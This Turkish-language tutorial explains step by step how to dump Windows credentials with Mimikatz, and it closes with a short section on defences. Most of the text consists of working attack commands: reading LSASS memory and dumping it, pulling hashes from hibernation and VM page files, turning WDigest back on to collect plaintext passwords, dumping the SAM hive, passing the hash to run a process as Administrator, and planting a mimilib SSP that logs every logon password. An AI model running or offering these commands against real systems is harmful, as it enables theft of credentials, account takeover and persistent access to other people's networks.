Mimikatz ile Kullanıcı Parolalarını Windows Belleğinden Boşaltma


Windows güvenliğine ayrılmış bir serinin parçası olarak yazılan bu yazımızda, Mimikatz aracını kullanarak tüm aktif Windows kullanıcılarının şifrelerini almak için oldukça basit bir yöntem öğreneceğiz.

Mimikatz.exe

Windows belleğinden, parola karmalarından, Kerberos biletlerinden vb. düz metin parolaları çıkarabilir. Ayrıca mimikatz, hash geçişi, pass-the-ticket saldırıları gerçekleştirmenize veya Golden Kerberos biletleri oluşturmanıza olanak tanır. Mimikatz işlevi, Metasploit Çerçevesinde de mevcuttur.

mimikatz'ı GitHub deposundan indirebilirsiniz: https://github.com/gentilkiwi/mimikatz/releases/. mimikatz_trunk.zip arşivini C:\Tools\mimikatz klasörüne çıkarın. Bu dizinde x64 ve x86 için mimikatz'ın iki sürümü görünecektir. Windows bitliğiniz için sürümü kullanın.

Bu yazımızda size Windows Server 2016 veya Windows 10'da mimikatz kullanarak kullanıcı şifrelerini nasıl alacağınızı göstereceğiz.

Sorumluluk Reddi. Bu yazıda açıklanan bilgi ve teknolojiler yalnızca bilgilendirme amaçlı kullanılmalı ve üçüncü şahısların hesaplarına, verilerine ve sistemlerine erişim sağlamamalıdır.

Mimikatz ile LSASS'de Windows Hashed Parolalarını Hackleme

Windows Server 2016 çalıştıran bir RDS sunucusundaki Windows belleğinden (lsass.exe işlemi - Yerel Güvenlik Yetkilisi Alt Sistem Hizmeti) oturum açmış tüm kullanıcıların parola karmalarını boşaltmaya çalışalım.

Yükseltilmiş komut isteminde aşağıdaki komutları çalıştırın:

  1. Koşmak

    Mimikatz.exe

    yönetici olarak;

  2. Aşağıdaki komut, geçerli hesaba işlemlerde hata ayıklama izinleri verecektir (SeDebugPrivilege):

    privilege::debug
  3. Aktif kullanıcı oturumlarını listele:

     sekurlsa::logonPasswords full
  4. Benim durumumda, hesabımın yanı sıra sunucuda iki kullanıcının aktif oturumları var:

    novach

    Ve

    administrator
  5. NTLM karmalarını kopyalayın (ekran görüntüsünde vurgulanmıştır).

Mimikatz'ı etkileşimli olarak değil, komut modunda kullanabilirsiniz. Kullanıcı parola karmalarını otomatik olarak almak ve bir metin dosyasına dışa aktarmak için şu komutu kullanın:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

Artık herhangi bir çevrimdışı kullanabilirsiniz (bir

hashcat

aracı) veya NTLM karmalarının şifresini çözmek için çevrimiçi bir hizmet. https://crackstation.net/ hizmetini kullanacağım.

Gördüğünüz gibi, hizmet bu NTLM hash'leri için hızla değerler buldu. Bunlar, kullanıcı şifrelerini açık metin olarak aldık.

Bunun birçok eşzamanlı kullanıcı ve bir kurumsal yönetici oturumu olan bir RDS ana bilgisayarı olduğunu hayal edin. Bunlar, bu sunucuda yerel yönetici ayrıcalıklarına sahipseniz, etki alanı yönetici şifresini bile alabilirsiniz.

Windows kullanıcıları için karmaşık şifreler kullanırsanız, bunların şifresini çözmek çok daha zor olacaktır. Bu nedenle, her zaman GPO aracılığıyla parola karmaşıklığını etkinleştirin ve AD etki alanındaki parolaların gücünü düzenli olarak denetleyin.

Gördüğünüz gibi, mimikatz sayesinde tüm aktif kullanıcıların NTLM hash'lerini aldık! Bu bilgisayarda istenen işlem için SeDebugPrivilege bayrağını ayarlamanıza izin veren Hata Ayıklama Modu etkinleştirildiğinden komut başarılı oldu. Bu modda, programlar sistem adına başlatılan işlemlerin belleğine düşük düzeyde erişim sağlayabilir.

Not. Haziran 2017'de birçok ülkedeki birçok büyük şirkete, kullanıcıların ve etki alanı yöneticilerinin parolalarını toplamak için yerleşik mimikatz modülünü kullanan NotPetya fidye yazılımı bulaştı.

Windows Bellek Dökümünden Kullanıcı Parolaları Nasıl Alınır?

Yukarıdaki parola karmalarını alma yöntemi, blok enjeksiyonu yapan bir virüsten koruma kuruluysa çalışmaz. Bu durumda, hedef ana bilgisayarda LSASS işleminin bir bellek dökümünü oluşturmanız, bunu bilgisayarınıza kopyalamanız ve mimikatz kullanarak parola karmalarını çıkarmanız gerekecektir.

Windows'ta bir işlemin bellek dökümünü oluşturmak oldukça kolaydır. Görev Yöneticisi'ni başlatın, lsass.exe işlemini bulun, sağ tıklayın ve Döküm Dosyası Oluştur'u seçin.

Windows, bellek dökümünü system32 klasörüne kaydedecektir.

Döküm dosyasını mimikatz kullanarak ayrıştırmanız yeterlidir (bu görevi başka bir bilgisayarda gerçekleştirebilirsiniz). Bellek dökümünü mimikatz'a yükleyin:

Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”

Bir dökümden kullanıcı adlarını ve parola karmalarını alın:

# sekurlsa::logonPasswords

Uzak bir bilgisayardan psexec veya WinRM aracılığıyla (yönetici ayrıcalıklarınız varsa) bir bellek dökümü alabilir ve kullanıcının şifresini bu bilgisayardan çıkarabilirsiniz.

Şunu da kullanabilirsiniz:

procdump

dökümü almak için Sysinternals'tan bir araç:

procdump -ma lsass.exe lsass.dmp

PowerShell'de Out-Minidump.ps1 işlevi ile LSASS işleminin bellek dökümü alınabilir. Out-Minidump işlevini PoSh oturumuna aktarın ve LSASS işleminin bir bellek dökümünü oluşturun:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Windows Parolalarını Hyberfil.sys ve VM Sayfa Dosyalarından Çıkarma

Kullanıcı parolalarını bellek dökümü dosyalarından, sistem hazırda bekletme dosyalarından (hiberfil.sys) çıkarmak da mümkündür. sanal makine dosyalarının vmem'i (sanal makine disk belleği dosyaları ve bunların anlık görüntüleri).

Bunu yapmak için Windows için Hata Ayıklama Aracı'na (WinDbg), mimikatz 'ın kendisine ve .vmem dosyasını bir bellek dökümü dosyasına dönüştürmek için bir araca ihtiyacınız var (Hyper-V'de vm2dmp.exe veya VMWare vmem dosyaları için MoonSols Windows Bellek araç takımı olabilir).

Örneğin, bir VMWare sanal makinesinin vmem sayfa dosyasını döküme dönüştürmek için şu komutu kullanın:

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

Dökümü WinDbg'ye aktarın (Dosya -> Crash Dump'ı Aç), mimikatz kitaplığı mimilib.dll'yi yükleyin:

.load mimilib.dll

Dökümde lsass.exe işlemini bulun:

!process 0 0 lsass.exe

Ve son olarak şunu yazın:

.process /r /p fffffa800e0b3b30
!mimikatz

Sonuç olarak, Windows kullanıcılarının bir listesini ve şifrelerinin NTLM karmalarını ve hatta açık metin şifrelerini alacaksınız.

WDigest Kullanarak Açık Metin Olarak Windows Parolalarını Çıkarma

Eski Windows sürümlerinde HTTP özeti kimlik doğrulaması için WDigest protokolünü kullanabilirsiniz. Bu protokolün ana güvenlik kusuru, kullanıcının şifresini karma yerine açık metin olarak bellekte saklamasıdır. Mimikatz, bu parolaları LSASS.EXE işleminin belleğinden çıkarmanıza olanak tanır.

WDigest protokolü, Windows 10 ve Windows Server 2016/2019 dahil olmak üzere tüm yeni Windows sürümlerinde varsayılan olarak devre dışıdır. Ama tamamen kaldırılmadı. Windows'ta yerel yönetici izinleriniz varsa, WDiget protokolünü etkinleştirebilir, kullanıcıların oturum açmasını bekleyebilir ve parolalarını çalabilirsiniz.

Windows'ta Wdigest'i etkinleştirin:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Grup ilkesi ayarlarını yenile:

gpupdate /force

Kullanıcıların mimikatz ile giriş yapmasını ve şifrelerini almasını bekleyin (kullanıcının Windows 10'da tekrar giriş yapması gerekir; Windows Server 2016'da ekran kilitlendikten sonra oturumun kilidinin açılması yeterlidir):

privilege::debug
sekurlsa::wdigest

Gördüğünüz gibi, wdigest bölümü kullanıcının parolasını açık metin olarak içerir:

Yerel Kullanıcı Parola Karmalarını SAM'den Çıkarma

mimikatz ile yerel Windows kullanıcılarının (yerleşik yönetici hesabı dahil) parola karmalarını SAM'den çıkarabilirsiniz:

privilege::debug
token::elevate
lsadump::sam

NTLM karmalarını kayıt SAM kovanından da çıkarabilirsiniz.

  1. SYSTEM ve SAM kayıt defteri kovanlarını dosyalara aktarın:

    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

  2. Ardından parola karmalarını boşaltmak için Mimikatz'ı kullanın:

    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

Mimikatz Aracılığıyla Hash Geçiş Saldırıları Gerçekleştirme

Kullanıcının güçlü bir parolası varsa ve NTLM hash'inin şifresini hızlı bir şekilde çözemezseniz, Mimikatz bir hash-geçirme (hash yeniden kullanım) saldırısı gerçekleştirmek için kullanılabilir. Bu durumda, hash, hedef kullanıcı adına işlemleri çalıştırmak için kullanılabilir. Örneğin, bir kullanıcının parolasının NTLM karmasını atarsanız, aşağıdaki komut o hesap altında bir komut istemi çalıştırır:

privilege::debug
sekurlsa::pth /user:Administrator /domain:a-d /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

Ayrıca,

Invoke-TheHash

uzak yolcularda komutları yürütmek üzere NTLM kimlik bilgilerini yeniden kullanmak için araç.

Windows Kimlik Bilgisi Yöneticisinden Parolaları Boşaltma

Windows'ta, parolaları Windows Kimlik Bilgisi Yöneticisi'ne kaydedebilirsiniz (bunlar uzak bilgisayarlara, web sitelerine, RDP kimlik bilgilerine erişmek için kullanılan parolalar olabilir.

TERMSRV/hostname1

biçim). Mimikatz bu parolaları Kimlik Bilgisi Yöneticisinden çıkarabilir ve size gösterebilir:

privilege::debug
sekurlsa::credman

Gördüğünüz gibi, kaydedilen şifre credman bölümünün altında gösteriliyor.

Windows otomatik oturum açma parolaları kayıt defterinde açık metin olarak saklanır. Kayıtlı Wi-Fi şifrelerini çıkarmak da kolaydır.

Açık Metinde Windows Oturum Açma Parolalarını Boşaltma

Windows'ta parolaları boşaltmanın başka bir ilginç yolu da mimikatz tarafından desteklenen ek bir SSP sağlayıcısı (Güvenlik Destek Sağlayıcısı) kullanmaktır.

  1. Mimikatz kitaplık dosyası mimilib.dll'yi C:\Windows\System32\ klasörüne kopyalayın;

  2. Ek bir SPP sağlayıcısını şu komutla kaydedin:

    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. Her kullanıcı Windows'ta oturum açtığında, parolası kiwissp.log dosyasına yazılacaktır. PowerShell'i kullanarak tüm parolaları görüntüleyebilirsiniz:

    Get-Content C:\Windows\System32\kiwissp.log<

    /li>

Windows'u Kimlik Bilgileri Boşaltma Saldırılarına Karşı Koruyun

Windows 8.1 ve Windows Server 2012 R2'de (ve daha yeni sürümlerde), LSASS'tan parola çalma özelliği sınırlıdır. LM karmaları ve parolalar, bu Windows sürümlerinde varsayılan olarak bellekte saklanmaz.

Aynı işlevsellik, özel bir KB2871997 güncellemesi yüklemeniz gereken Windows'un önceki sürümlerine (7/8/2008R2/2012) geri aktarılır (güncelleme, sistem güvenliğini artırmak için başka seçenekler sunar) ) ve HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest kayıt defteri anahtarında UseLogonCredential DWORD parametresini 0 olarak ayarlayın (WDigest devre dışıdır) .

Bu güncelleştirmeyi ve UseLogonCredential anahtarını yükledikten sonra parolaları bellekten çıkarmaya çalışırsanız, mimikatz'ın creds_wdigest komutunu kullanarak parolaları ve hash'leri boşaltamadığını göreceksiniz.

Yukarıda, yerel yönetici izinleriniz varsa, bu reg anahtarını savunmasız bir değere nasıl kolayca ayarlayabileceğinizi gösterdik. Bundan sonra, LSA belleğindeki şifrelere tekrar erişebilirsiniz.

Mimikatz'da, parolaları ve bunların karmalarını bellekten almak için başka seçenekler de vardır (WDigest, LM-hash, NTLM-hash, Kerberos biletlerini yakalama modülü). Bu nedenle, koruma için aşağıdaki güvenlik önlemlerinin uygulanması önerilir:

  • Tersine Çevrilebilir Şifreleme kullanarak şifrelerin saklanmasını önleyin (Bilgisayar Yapılandırması -> Windows Ayarları ->Güvenlik Ayarları -> Hesap İlkeleri -> Şifre Politikası bölümünde Ters çevrilebilir şifreleme kullanarak şifreyi saklayın ve değerini Devre Dışı olarak ayarlayın);

  • WDigest'i devre dışı bırakın: aynı kayıt defteri dalında (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest) Negotiate parametresinin değerini 0 olarak ayarlayın;

  • Kimlik Bilgisi Yöneticisi'nde parolaların kaydedilmesini önleyin: Bilgisayar Yapılandırması -> Windows Ayarları ->Güvenlik Ayarları ->Yerel İlkeler ->Güvenlik Seçenekleri'nde Ağ erişimi: Ağ kimlik doğrulaması için parolaların ve kimlik bilgilerinin depolanmasına izin verme'yi etkinleştirin ;

  • NTLM ve LM'yi devre dışı bırakın;

  • Etki alanı kullanıcı kimlik bilgilerinin önbelleğe alınmasını önleme (CachedLogonsCount kayıt defteri parametresi veya Grup İlkesi seçenekleri Etkileşimli oturum açma ilkesi: Önbelleğe alınacak önceki oturum açma sayısı);

  • Etki alanı işlev düzeyi Windows Server 2012 R2 veya daha yeniyse, yönetici hesaplarını özel Korumalı Kullanıcılar grubuna ekleyebilirsiniz. Bu durumda, bu tür kullanıcılar için NTLM karmaları oluşturulmayacaktır.

  • LSA işlem belleği korumasını etkinleştirin:

    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f

    (bu ayar yalnızca Microsoft imzalı işlemlerin LSASS belleğine erişmesine izin verir, bu reg anahtarını etki alanında GPO aracılığıyla dağıtabilirsiniz);

  • İşlemin LSA içeriğini korumak için Credential Guard'ı kullanın;

  • Yerel yöneticiler için bile hata ayıklama ayrıcalıkları almayı önleyin: GPO -> Windows Ayarları -> Güvenlik Ayarları -> Yerel İlkeler -> Kullanıcı Hakları Ataması -> Programlarda hata ayıklama (Ancak, LocalSystem izinleriniz varsa veya bunun gibiyse bu kolayca atlanır)

Sonuçlar. Size bazı temel güvenlik kavramlarını bir kez daha hatırlatıyoruz.

  • Farklı hizmetler için (özellikle üçüncü şahısların sahip olduğu RDP/RDS ana bilgisayarlarına erişim için) aynı parolaları kullanmayın;

  • Buluttaki sanal makinelerde depolanan parolalarınızın ve verilerinizin güvenliğini düşünün, çünkü hipervizörlere ve sanal makine dosyalarının bulunduğu depolamaya başka kimlerin eriştiğinden emin olamazsınız;

  • Küresel veya yerel yönetici ayrıcalıklarına sahip hesap sayısını en aza indirin;

  • Diğer kullanıcıların erişebildiği sunucularda ve bilgisayarlarda asla etki alanı yönetici hesabı altında oturum açmayın.

İlgili makaleler